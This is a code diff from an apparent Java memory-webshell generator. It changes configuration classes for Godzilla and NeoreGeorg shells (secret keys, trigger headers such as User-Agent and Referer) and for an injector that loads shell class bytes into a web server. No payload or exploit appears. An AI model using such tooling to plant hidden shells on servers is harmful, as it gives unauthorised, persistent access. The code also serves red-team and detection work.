@Builder.Default @Builder.Default
private String key = "key"; private String key = CommonUtil.getRandomString(8);
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B key(final String key) {
if (StringUtils.isNotBlank(key)) {
this.key$value = key;
key$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
@@ -16,34 +16,46 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
private boolean staticInitialize;
} }
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2025/2/28
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class NeoreGeorgConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "Referer";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}

Some files were not shown because too many files have changed in this diff Show More